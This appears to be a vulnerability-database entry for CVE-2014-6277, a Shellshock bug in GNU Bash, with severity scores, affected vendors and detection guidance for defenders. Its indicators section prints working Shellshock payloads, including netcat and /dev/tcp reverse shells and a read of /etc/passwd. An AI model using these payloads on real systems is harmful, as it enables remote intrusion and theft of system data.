cbcvebase.
CVE-2014-6277
published 2014-09-27

CVE-2014-6277: GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute…

PriorityP181critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
64.33%
99.1th percentile
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.

Affected

50 ranges· showing 25
VendorProductVersion rangeFixed in
appleos_x_el_capitan_v10.11
appleos_x_yosemite_v10.10.2_and_security_update_2015-001
citrixcitrix_netscaler_adc
citrixcitrix_netscaler_sdx
citrixcitrix_xenapp
citrixcitrix_xendesktop
citrixcitrix_xenmobile
citrixcitrix_xenserver
citrixnetscaler_adc
citrixnetscaler_gateway
citrixnetscaler_sdx
citrixsharefile
citrixxenapp
citrixxendesktop
citrixxenmobile
citrixxenserver
debianbash< bash 4.3-9.2 (bookworm)bash 4.3-9.2 (bookworm)
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash

Detection & IOCsextracted from sources · hover to see the quote

command() { ignored;}; echo 'moo'
command() { ignored;}; /bin/nc -e /bin/bash localhost 7777
command() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &
command() { ignored;}; /bin/cat /etc/passwd
command() { ignored;}; /usr/bin/wget http://google.com
port7777
port4444
  • Shellshock payload pattern in DHCP option fields: look for '() {' function definition syntax injected into DHCP options such as 'dump_path', delivered via rogue DHCP server on UDP ports 67/68.
  • The exploit spoofs a DHCP server response (OFFER and ACK) using a crafted MAC address; monitor for DHCP responses from unexpected sources with spoofed_mac '00:50:56:c0:00:01'.
  • Detect Shellshock exploitation via environment variable injection: look for environment variables whose values begin with '() {' followed by a command sequence, particularly in CGI, SSH ForceCommand, and DHCP client contexts.
  • Reverse shell indicator: outbound TCP connections from bash to attacker-controlled IP on port 4444 initiated via /dev/tcp, spawned from dhclient or web server child processes.
  • Detect netcat-based reverse shell: process execution of '/bin/nc -e /bin/bash' spawned from dhclient or CGI context as a child of bash.
  • ·CVE-2014-6277 exists because of an incomplete fix for prior Shellshock CVEs; patching bash43-026 alone is insufficient — ensure the fix reaches at least the version resolving all related CVEs (e.g., Debian bash 4.3-9.2).
  • ·The Ubuntu advisory notes that the previous bash security update (USN-2364-1) includes a hardening measure that prevents these issues from being used in a Shellshock attack, but does not fully fix them; a further update is required.

CVSS provenance

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vulncheck9.8CRITICAL
cisa8.8HIGH
vendor_ubuntu10.0CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_cisco7.5HIGH
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